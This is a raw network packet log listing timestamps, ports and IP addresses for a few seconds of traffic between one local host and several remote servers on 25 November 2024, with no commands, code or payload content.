Nov 25, 2024 14:14:38.168210983 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.175981045 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.176060915 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:38.176075935 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.183437109 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.183532000 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:38.183547020 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.192090988 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.192145109 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:38.192161083 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.198398113 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.198456049 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:38.198471069 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.200937033 CET	49805	443	192.168.2.5	18.165.220.57
Nov 25, 2024 14:14:38.206712961 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.206780910 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:38.206799984 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.213737011 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.213794947 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:38.213810921 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.221149921 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.221218109 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:38.221235991 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.224181890 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.224236012 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.224248886 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.224308014 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.224684954 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.224735022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.224878073 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.224919081 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.225778103 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.225833893 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.225874901 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.225914955 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.226878881 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.227169037 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.227339029 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.227963924 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.228065968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.228123903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.228722095 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.228836060 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:38.228853941 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.228945971 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.229027033 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.229072094 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.230047941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.230063915 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.230102062 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.230115891 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.231097937 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.231251955 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.231296062 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.232363939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.232507944 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.232634068 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.232733011 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.233350992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.233400106 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.233472109 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.233514071 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.234532118 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.234595060 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.234637976 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.234677076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.235466003 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.235522985 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.235938072 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.236062050 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.236118078 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.236306906 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:38.236341000 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.236457109 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.236514091 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.236547947 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.236579895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.237665892 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.237762928 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.237823963 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.239300966 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.239362001 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.239753008 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.239985943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.241847038 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.242067099 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.243038893 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.243083954 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.243560076 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.243575096 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.243634939 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.243988991 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.244044065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.244106054 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.244143963 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.244631052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.244680882 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.244715929 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.244757891 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.245522976 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.245574951 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.245695114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.245743036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.246411085 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.246490955 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.246608973 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.246722937 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.247411966 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.247468948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.247510910 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.247629881 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.248310089 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.248327017 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.248363972 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.248382092 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.248419046 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.249020100 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:38.249041080 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.249279022 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.249293089 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.249470949 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.250080109 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.250132084 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.250416994 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.250474930 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.251010895 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.251069069 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.251132011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.251172066 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.251995087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.252054930 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.252350092 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.252706051 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.253074884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.253124952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.253262997 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.253541946 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.253855944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.253901005 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.253983974 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.254035950 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.254946947 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.255131006 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.255156040 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.255167961 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.255825043 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.255863905 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.255933046 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.255934000 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.256795883 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.256903887 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.256948948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.257925034 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.257992029 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.258078098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.258120060 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.259004116 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.259119034 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.259135008 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.259152889 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.259202957 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:38.259222031 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.259223938 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.260044098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.260096073 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.260232925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.260344028 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.260878086 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.260942936 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:38.260958910 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.261070013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.261290073 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.261346102 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.262166023 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.262326956 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.262414932 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.262530088 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.263263941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.263330936 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.263401031 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.263488054 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.264456034 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.264513969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.264522076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.264620066 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.265523911 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.265810966 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.265871048 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.266546011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.266621113 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.266659975 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.266841888 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.267488956 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.267541885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.267817020 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.268053055 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.268596888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.268641949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.268695116 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.269603014 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.269785881 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.271079063 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.272296906 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.272382021 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:38.272418976 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.273050070 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.273119926 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.273173094 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.273313046 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.273338079 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.273343086 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:38.273358107 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.273358107 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.273392916 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.274616957 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.274699926 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.274888992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.275548935 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.275660992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.275696993 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.275764942 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.276532888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.276581049 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.276667118 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.276930094 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.277676105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.277720928 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.277806044 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.277844906 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.279196978 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.279259920 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.279299974 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.279335976 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.280412912 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.280467987 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.280936956 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.281029940 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.281414986 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.281460047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.281519890 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.282582045 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.282669067 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.282938004 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.282978058 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.283874989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.284194946 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.296133041 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.296176910 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.296241999 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:38.296264887 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.299179077 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.299262047 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:38.299278975 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.299587011 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:38.299902916 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.301655054 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.301709890 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:38.301727057 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.301764965 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.302015066 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:38.302133083 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:38.302166939 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.415016890 CET	443	49789	172.64.41.3	192.168.2.5
Nov 25, 2024 14:14:38.415086031 CET	443	49789	172.64.41.3	192.168.2.5
Nov 25, 2024 14:14:38.415220022 CET	49789	443	192.168.2.5	172.64.41.3
Nov 25, 2024 14:14:38.415391922 CET	49789	443	192.168.2.5	172.64.41.3
Nov 25, 2024 14:14:38.415411949 CET	443	49789	172.64.41.3	192.168.2.5
Nov 25, 2024 14:14:38.426872015 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.426891088 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.426949024 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.426964998 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.427248001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.427310944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.427366972 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.428308010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.428452969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.428502083 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.429299116 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.429352045 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.429513931 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.429605961 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.430269957 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.430349112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.430377007 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.430392981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.431231022 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.431361914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.431389093 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.431400061 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.432559013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.432574987 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.432643890 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.433526039 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.433679104 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.433995008 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.434045076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.434978962 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.435056925 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.435374975 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.435432911 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.436357021 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.436450005 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.436496973 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.437438965 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.437510014 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.437585115 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.437628984 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.438890934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.438947916 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.439143896 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.439193010 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.440124989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.440190077 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.440504074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.440567017 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.441173077 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.441430092 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.441489935 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.442157984 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.442222118 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.442296028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.442338943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.443249941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.443330050 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.443356991 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.443413973 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.444051981 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.444108009 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.444143057 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.444202900 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.445235968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.445275068 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.445476055 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.446455956 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.446640015 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.446754932 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.446795940 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.447449923 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.447555065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.447622061 CET	49760	80	192.168.2.5	185.215.113.206
